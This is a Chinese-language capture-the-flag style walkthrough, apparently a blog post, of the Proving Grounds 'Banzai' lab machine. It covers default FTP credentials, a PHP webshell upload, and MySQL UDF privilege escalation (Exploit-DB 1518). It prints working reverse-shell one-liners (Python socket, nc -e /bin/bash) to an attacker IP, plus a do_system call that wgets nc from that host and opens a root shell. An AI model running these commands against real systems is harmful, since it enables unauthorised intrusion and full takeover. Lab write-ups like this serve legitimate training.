Proving Grounds Practice : Banzai Walkthrough
Proving Grounds Practice : Banzai Walkthrough
Foothole (立足點 ) :
- ftp 常用帳號密碼測試 admin:admin 可以登入與寫入檔案
- ftp 根目錄與網站 8295 Port 根目錄依樣
- 上傳 PHP reverse shell 執行後拿到 Reverse Shell
PE ( 提權 ) :
- 發現 MySQL 是 Root 權限執行且可以直接讀到 proof.txt 檔案所以直接利用
- 參考 Exploit-DB1518 使用 UDF 方式提權
- 步驟依據 PoC 內容一一操作即可實現
注意事項 :
- 學習 MySQL UDF 提權利用
Rustscan,└─$ rustscan -a 192.168.192.56 --scripts none --ulimit 5000 | tee rustscan
snmp filtered,└─$ sudo nmap -sU -p 161 192.168.192.56 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 21,22,25,5432,8080,8295 192.168.192.56 | tee nmap
21/tcp open ftp vsftpd 3.0.3
25/tcp open smtp Postfix smtpd
8080/tcp open http Apache httpd 2.4.25
FTP 測試匿名 anonymous 與 ftp:ftp 登入失敗
PostgreSQL 連線測試失敗
8080 /
8080 /robots.txt
8295 /
8295 whatweb
gobuster 8080 沒有發現
8295 /
帳號 Walter.White、Sarah.Jhinson、William.Anderson、Amanda.Jepson
Hydra 測試 FTP、SSH 相關組合沒有發現
8295 /lib
8295 gobuster
到此暫時卡住,後來發現 FTP 測試 admin:admin 可以登入
筆記.....相當重要,過往 FTP 都只有測試 anonymous & ftp:ftp
未來要多做一組 admin:admin
登入後測試上傳 test.txt 可以成功,看來入口就是這個梗了
FTP 的根目錄就是 8295 Port 的網站根目錄
上傳最愛的 webshell.php
輸入最好用的 Python 建立 Reverse Shell 試試看,沒有成功建立連線
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.202",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
改用 nc -e /bin/bash 192.168.45.202 4444 一樣失敗
因為這是 Linux 最簡單的是改一下 php-reverse-shell.php 然後直接使用
存取 http://192.168.192.56:8295/php-reverse-shell.php 一樣沒有拿到 shell
測試了一番後發現是有限制 Port,這一台有安裝 SMTP 服務表示要寄信出去
所以改用 25 Port 透過 Webshell 執行 nc -e /bin/bash 192.168.45.202 25 後成功連線
測試 21 Port 也可以正常連線,所以當無法建立 Reverse Shell 時可以先改一下靶機自己有的 Port
cat /etc/passwd
8080 Port 看來也是通的,透過 8080 Port 搭建 chisel 3306 Port 到 Kali
利用拿到的帳號密碼登入 MySQL 測試看看,看來成功登入
直接讀讀看 /root/proof.txt 看看有無權限
select load_file('/root/proof.txt');
讀到該檔案了,看來就朝向這個方向下手了
在 Windows 中發現 MySQL 有大權限時,通常會用 MySQL 做 Reverse Shell 切換使用者看看
但這裡我們已經是 www-data 使用者,用的也是網頁建立的 webshell 所以不用嘗試
再來就是透過 MySQL 去複寫 C:\ 特定路徑下面的 dll 檔案,然後執行特定方式去提權
現在這個是在 Linux 底下,所以改參考這一篇 https://www.exploit-db.com/exploits/1518
相關 usage 如下
======================================================================== * Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*
* E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
*
*/
整個步驟在這一篇講的相當清楚 : https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/
在指令的用法與 Exploit-DB 有一點點不一樣,但一樣是用 1518.c 去改的
先將 1518.c 上傳到靶機 /var/www 路徑,接著執行
└─$ gcc -g -c raptor_udf2.c
接著透過 MySQL 執行下列指令,查找 UDFs 將會存放在哪
use mysql;
show variables like 'plugin_dir';
確認路徑是 /usr/lib/mysql/plugin/
SHOW VARIABLES LIKE "secure_file_priv";
確定資料庫是否配置錯誤,導致檔案處理不安全。
依據 PoC 內容一一執行
create table foo(line blob);
insert into foo values(load_file('/var/www/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
現在可以透過 do_system 與 UDF 檔案並以 root 方式執行我們要的任意程式碼了
例如先執行 id 並寫到一個檔案,然後給予現有使用者權限試試看
select do_system('id > /var/www/out; chown www-data.www-data /var/www/out');
看來沒有問題,且權限是管理者 root
接著下載 nc
select do_system('wget http://192.168.45.242:5432/tools/nc -O /var/www/nc');
修改 nc 權限,select do_system('chmod 777 /var/www/nc');
執行 nc 建立 Reverse Shell
select do_system('/var/www/nc 192.168.45.242 8295 -e /bin/bash');
8295 Listener Reverse shell 進來了,whoami & id 確認是管理者
留言
張貼留言